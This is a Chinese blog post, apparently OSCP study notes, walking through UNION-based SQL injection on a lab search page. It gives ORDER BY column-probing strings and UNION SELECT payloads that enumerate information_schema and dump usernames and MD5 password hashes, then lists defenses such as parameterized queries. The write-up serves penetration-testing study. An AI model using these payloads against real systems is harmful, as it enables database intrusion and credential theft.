代码改变世界

详细介绍:5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi

2025-11-12 09:45  tlnshuju  阅读(0)  评论(0)    收藏  举报

     郑重声明:本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    点赞❤️ 关注 收藏⭐️ 评论 
    更多文章戳
Whoami!-CSDN博客

​​​​​​​​


 让我们开启SQL注入的新世界吧,走起 ! 

' ,  ! 


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升▸SQL注入攻击▸基于 UNION 的SQLi-----我们在这儿~ 

→ 横向移动

→ 报告/分析

→ 教训/修复  


目录

1.SQL注入攻击

1.1 手动SQL注入深度解析

1.1.1 基于 UNION 的SQLi

1.1.1.1 目标环境分析

1.1.1.2 确定目标表列数

1.1.1.3 枚举当前数据库名称、用户和MySQL版本

1.1.1.4 枚举information_schema

1.INFORMATION_SCHEMA介绍

2.枚举information_schema.column发现users表

3.枚举users表中的具体内容(用户名、凭证)

1.1.1.5 攻击成果总结

1.1.1.6 安全漏洞分析

1.暴露的安全问题

2.防御建议

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论


1.SQL注入攻击

1.1 手动SQL注入深度解析

1.1.1 基于 UNION 的SQLi

        UNION操作符允许在同一个查询中执行多个SELECT语句,将结果合并返回,是SQL注入中最强大的技术之一。

⚡ 攻击成功的关键先决条件

条件说明重要性
列数相同UNION前后查询的列数必须一致 必须满足
数据类型兼容对应列的数据类型需要匹配 必须满足

1.1.1.1 目标环境分析

我们测试一个具有以下预配置SQL查询的Web应用程序,即:页面上的查询输入点。

假设我们知道网页源代码语句(为了更好的分析),先分析下已经预配置的SQL查询语句,其中上图的输入框就是用户输入的变量.$_POST["search _input"],此处可进行SQL注入。

原始查询结构:

SELECT * FROM customers WHERE name LIKE '[用户输入]%'
分析维度详细说明安全状态
查询目的customers表中检索所有name列以用户输入字符串开头的记录⚠️ 功能正常但存在风险
查询结构SELECT * FROM customers WHERE name LIKE '[pattern]'⚠️ 静态结构安全,动态构建危险
LIKE操作符SQL模糊匹配操作符,支持通配符:
• % - 任意数量字符
• _ - 单个字符
✅ 操作符本身安全
用户输入处理• 来源:$_POST["search_input"]
• 方式:直接字符串拼接
• 过滤:无显示过滤或转义
 极度危险 - SQL注入漏洞
通配符使用模式末尾使用%通配符:
• A → 匹配AliceAndrew
•  → 匹配李小明李华

✅ 功能实现正确

⚠️ 模式正确但实现方式危险

潜在风险SQL注入攻击向量
• 单引号'可终止字符串
• 可注入额外SQL命令
• 可能泄露整个数据库
• 身份验证绕过风险
 高危漏洞 - 立即需要修复
️ 建议修复方案参数化查询
WHERE name LIKE CONCAT(?, '%')
输入验证:白名单过滤、长度限制
 可完全修复漏洞

1.1.1.2 确定目标表列数

打开测试页面:http://192.168.50.16/search.php(实验环境的,公网无法打开,仅作展示)

然后,点击SEARCH来检索customers表中的所有数据,下图出现4列:

在制定任何攻击策略之前,需要知道目标表中确切的列数(为了拼接UNION语句)。尽管上面的输出显示存在4列,但不应该基于应用程序布局做出假设,因为可能存在额外的列

为了发现正确的列数,使用以下探测方法

使用ORDER BY子句

' ORDER BY 1 -- // 按照第1列排序,成功,说明存在第1列。
' ORDER BY 2 -- // 按照第2列排序,成功,说明存在第2列。
' ORDER BY 3 -- // 按照第3列排序,成功,说明存在第3列。
...
' ORDER BY 6 -- // ❌ 报错!说明第6列不存在,说明表格仅有5列。

原网页代码的语句是:

SELECT * from customers WHERE name LIKE '".$_POST["search _input"]."%'

注入SQL后完整的语句是:

SELECT * from customers WHERE name LIKE ' ' order by 1 -- // %'
   先把LIKE后面的'闭环,再执行order by排序操作,用-- //把后面的命令注释掉。

技术原理:

  • ORDER BY N 按第N列排序

  • 当N超过实际列数时产生错误

  • 发现结果:目标表有5列


1.1.1.3 枚举当前数据库名称、用户和MySQL版本

以下内容在搜索框输入的,并点击search按钮

%' UNION SELECT database(), user(), @@version, null, null -- //

注入后完整的语句:

SELECT * from customers WHERE name LIKE '%' UNION SELECT database(), user(), @@version, null, null -- //%'
  • 使用 %' 来闭环搜索参数
  • 注入的查询中使用UNION SELECT语句
  • 构造5列,其余构造两列为null,凑齐5列。

执行结果:

  • 用户信息版本号显示成功

  • ❌ 数据库名称未显示

问题分析:

  • 第1列通常是ID字段(整数类型)

  • database()返回字符串,类型不匹配,无法返回

  • 应用程序可能隐藏第1列显示

优化后的Payload:

%' UNION SELECT null, null, database(), user(), @@version -- //

调整策略:

  • 第1列:null(避免类型冲突)

  • 第2列:null(占位)

  • 第3-5列:放置关键信息

攻击成果: ✅ 成功获取所有信息

  • 数据库名称:offsec

  • 当前用户:数据库用户信息

  • MySQL版本:版本详细信息


1.1.1.4 枚举information_schema
1.INFORMATION_SCHEMA介绍

  INFORMATION_SCHEMA 是一个系统数据库,提供了有关数据库元数据的信息。
  元数据:是指描述数据库结构的数据,通常包括表、列、索引、视图、权限等信息。INFORMATION_SCHEMA 作为标准化的视图集合,可以让用户查询数据库的结构而不依赖于具体的数据库实现。

1. 作用

  INFORMATION_SCHEMA 允许用户获取数据库的结构信息,而无需直接查询系统表。它是一个跨数据库管理系统(DBMS)的标准,意味着不同的数据库(如 MySQL、PostgreSQL、SQL Server)都提供类似的 INFORMATION_SCHEMA 视图。通过这些视图,用户可以查看数据库中存储的数据结构、对象及其关系。

2. 常见视图

  • TABLES

    • 存储所有表的信息。
    • 主要字段:TABLE_NAME(表名),TABLE_SCHEMA(数据库名),TABLE_TYPE(表类型,通常为 BASE TABLE 或 VIEW)等。
    • 查询所有表的示例:
      SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'your_database_name';
  • COLUMNS

    • 存储所有列的信息(包括:列名、数据类型、默认值等)。
    • 主要字段:COLUMN_NAME(列名),DATA_TYPE(数据类型),IS_NULLABLE(是否允许为 NULL)等。
    • 查询某表的所有列的示例:
      SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'your_table_name' AND TABLE_SCHEMA = 'your_database_name';
  • KEY_COLUMN_USAGE

    • 存储键列的相关信息,例如:主键、外键等。
    • 主要字段:CONSTRAINT_NAME(约束名),COLUMN_NAME(列名),REFERENCED_TABLE_NAME(外键引用的表)等。
    • 查询某个表的外键信息示例:
      SELECT * FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_NAME = 'your_table_name' AND TABLE_SCHEMA = 'your_database_name';
  • SCHEMATA

    • 存储所有数据库的信息。
    • 主要字段:SCHEMA_NAME(数据库名),DEFAULT_CHARACTER_SET_NAME(默认字符集)等。
    • 查询所有数据库的示例:
      SELECT * FROM INFORMATION_SCHEMA.SCHEMATA;
  • VIEWS

    • 存储数据库中所有视图的信息。
    • 主要字段:TABLE_NAME(视图名),VIEW_DEFINITION(视图定义)等。
    • 查询所有视图的示例:
      SELECT * FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = 'your_database_name';
  • USER_PRIVILEGES

    • 存储当前用户的权限信息。
    • 主要字段:GRANTEE(用户),PRIVILEGE_TYPE(权限类型,如 SELECTINSERT 等)等。
    • 查询当前用户的权限示例:
      SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
2.枚举information_schema.column发现users表
' UNION SELECT null, table_name, column_name, table_schema, null
FROM information_schema.columns where table_schema=database() -- //

关键发现:

  • ️ 发现users

  • 包含password列(及其他列)

  • 确认表属于当前数据库

3.枚举users表中的具体内容(用户名、凭证)

基于上一步发现的users表及其列名,枚举该表中数据的具体内容,包括用户名、凭证等。

%' UNION SELECT null, username, password, description, null
FROM users -- //

攻击成果:

  • 获取所有用户名

  • 提取MD5密码哈希

  • 用户描述信息

  • 包含管理员账户凭证


1.1.1.5 攻击成果总结

    截至目前,我们基于UNION的payload获取整个users表的用户名和MD5哈希值,其中包括一个admin账户。这些 MD5值是明文密码的加密版本,可以使用适当的工具进行反向操作获取密码明文。

攻击阶段获取信息利用价值
列数探测表结构(5列)优化UNION攻击
基础信息数据库名、用户、版本环境认知
表结构枚举users表及列结构目标锁定
数据提取用户名、密码哈希凭证窃取

1.1.1.6 安全漏洞分析
1.暴露的安全问题
  • 输入未过滤 - 直接拼接用户输入到SQL

  • 错误信息泄露 - 提供调试信息

  • 过度数据返回 - 显示敏感数据库信息

  • 缺乏权限控制 - 应用账户可访问系统表

2.防御建议
防御层具体措施效果
输入验证白名单过滤、转义特殊字符阻止恶意输入
参数化查询使用预处理语句分离代码与数据
最小权限限制数据库账户权限防止系统表访问
输出限制只返回必要数据减少信息泄露

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论

您的支持是我创作最大的动力!